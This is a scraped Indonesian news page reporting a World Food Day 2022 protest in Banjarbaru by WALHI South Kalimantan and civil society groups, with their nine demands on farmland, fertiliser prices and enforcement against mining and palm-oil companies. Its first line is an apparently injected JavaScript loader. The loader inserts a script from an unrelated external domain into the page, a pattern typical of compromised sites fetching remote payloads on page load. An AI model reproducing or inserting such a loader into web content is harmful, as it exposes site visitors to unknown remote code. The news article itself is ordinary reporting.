(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ini Tuntutan Jaringan Masyarakat Sipil dan Walhi di Hari Pangan Sedunia


KANALKALIMANTAN.COM, BANJARBARU – Memperingati Hari Pangan Sedunia (HPS), Minggu (16/10/2022), Jaringan Masyarakat Sipil dan Wahana Lingkungan Hidup Indonesia (WALHI) Kalimantan Selatan serta beberapa organisasi mahasiswa melakukan aksi damai di Bundaran Simpang 4 Banjarbaru.

Aksi damai ini menyoroti beberapa kebijakan pemerintah daerah yang dianggap hanya sebagai seremonial semata.

Direktur Eksekutif Wahana Lingkungan Hidup Indonesia (WALHI) Kalsel, Kisworo Dwi Cahyono mengatakan beberapa waktu silam Hari Pangan Sedunia dipusatkan di Jejangkit namun hingga saat ini apa yang didapatkan para petani disana.

“Oleh Gubernur Kalsel, HPS di tempat di Jejangkit. Tapi hingga saat ini apa kabar Jejangkit? Apa dampak HPS  yang dipusatkan di Kalsel, mempunya pengaruh gak kepada perbaikan, baik tata kelola, kebijakan rencana pembangunan dan anggaran yang memastikan kita berdaulat pangan. Penting, gubernur langsung turun tangan untuk memastikan pangan benar-benar berdaulat di Kalsel,” kata pria kerap disapa Cak Kis ini.

 

Baca juga  : Hari Pangan Sedunia, Soroti Megaproyek Jejangkit Tanpa Ada Tindak Lanjut

Dalam momen ini, kata Cak Kis seharusnya menjadi momen kebangkitan kedaulatan pangan dengan mengeluarkan kebijakan terkait perlindungan lahan pertanian berkelanjutan.

“Seharusnya ada kebijakan yang pro terhadap lingkungan, keselamatan rakyat dan kebutuhan pangan, jadi kita penting kedaulatan pangan bukan ketahanan pangan,” tegasnya.

Dijelaskannya, Indonesia ini merupakan negara agraris, namun kebanyakan pangan impor dari luar.

“Di Kalsel saja, 3,7 juta hektare hampir separo Kalsel ada izin pertambangan dan kelapa sawit, terus dimana lahan pertanian. Bahkan kita (Kalsel) mempunyai Perda terkait lahan pertanian berkelanjutan namun sampai saat ini belum ada kejelasan,” sebutnya.

 

Baca juga  : Cabang Hifzil Qur’an Golongan 1 Juz dan 5 Juz Tilawah Akan Masuki Babak Final

Dalam aksinya yang bertepatan dengan Hari Pangan Sedunia 2022 tersebut mereka menuntut pemerintah agar dapat mewujudkan kedaulatan pangan dan menghapus Undang-Undang yang berkaitan dengan penindasan di sektor pangan.

Walhi Kalsel bersama jaringan masyarakat sipil membuat pernyataan sikap sebagai berikut:

1. Mendesak Pemerintah untuk segera menyelesaikan konflik pertanian dan perkebunan warga dengan perusahaan perusak lingkungan yang menyebabkan rusaknya lahan kelola rakyat.

2. Mendesak pemerintah untuk menurunkan harga pupuk dan segala macam obat baik pertanian maupun perkebunan serta memberikan akses yang mudah kepada petani.

3. Mendesak Gubernur Kalimantan Selatan untuk membuat regulasi yang jelas mengatur harga jual bahan pangan hasil dari perkebunan dan pertanian yang berpihak kepada para petani.

 

Baca juga  : Selisih Tipis dengan Jatim, Tim Kalsel Gagal Masuk Final Cabang Musabaqah Fahmil Qur’an

4. Mendesak pemerintah untuk melakukan perbaikan dan pemulihan kepada para petani yang lahannya terdampak bencana alam atau pun bencana yang dibuat oleh perusahaan perusak lingkungan.

5. Mabes Polri dan Kapolda Kalsel harus segera melakukan penegakan hukum terhadap perusak lingkungan, khususnya pertambangan dan perkebunan sawit, dan kejahatan lingkungan yang menimbulkan kerusakan pada lahan masyarakat.

6. Mendesak pemerintah untuk berkomitmen dan melaksanakan untuk peningkatan kualitas dan kuantitas bahan pangan.

7. Pemerintah harus Menghentikan izin baru pada korporat perusak lingkungan, izin sering kali menyebabkan kerusakan lingkungan yang berakibat pada kelangkaan bahan pangan.

 

Baca juga  : PENTING. Rute Alternatif Jalan Nasional KM 171 Satui Barat Usai Ditutup Total Akibat Longsor!

8. Perbaikan dan pemulihan kerusakan lingkungan termasuk sungai, drainase, jalan dan infrastruktur lainnya dan terkhusus lahan-lahan persawahan yang rusak akibat banjir.

9. Mengevaluasi Rencana Tata Ruang Wilayah (RTRW) untuk pro terhadap lingkungan dan kedaulatan pangan.(Kanalkalimantan.com/ibnu)

Reporter  : ibnu
Editor : cell


Desy Arfianty

Recent Posts

5 Nama Pendaftar Bacalon Pilwali Banjarbaru ke PDIP

KANALKALIMANTAN.COM, BANJARBARU - Lima buah formulir pendaftaran diambil oleh lima orang bakal calon Pilkada 2024… Read More

56 menit ago

Acil Odah Resmi Lamar Golkar Maju Pilgub Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hj Raudatul Jannah alias Acil Odah untuk maju pada kontestasi Pemilihan… Read More

1 jam ago

Golkar Banjarbaru Buka Penjaringan Bakal Calon Wali Kota

KANALKALIMANTAN.COM, BANJARBARU - DPD Partai Golkar Kota Banjarbaru membuka pendaftaran bakal calon Wali Kota dan… Read More

2 jam ago

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

5 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

6 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

17 jam ago

This website uses cookies.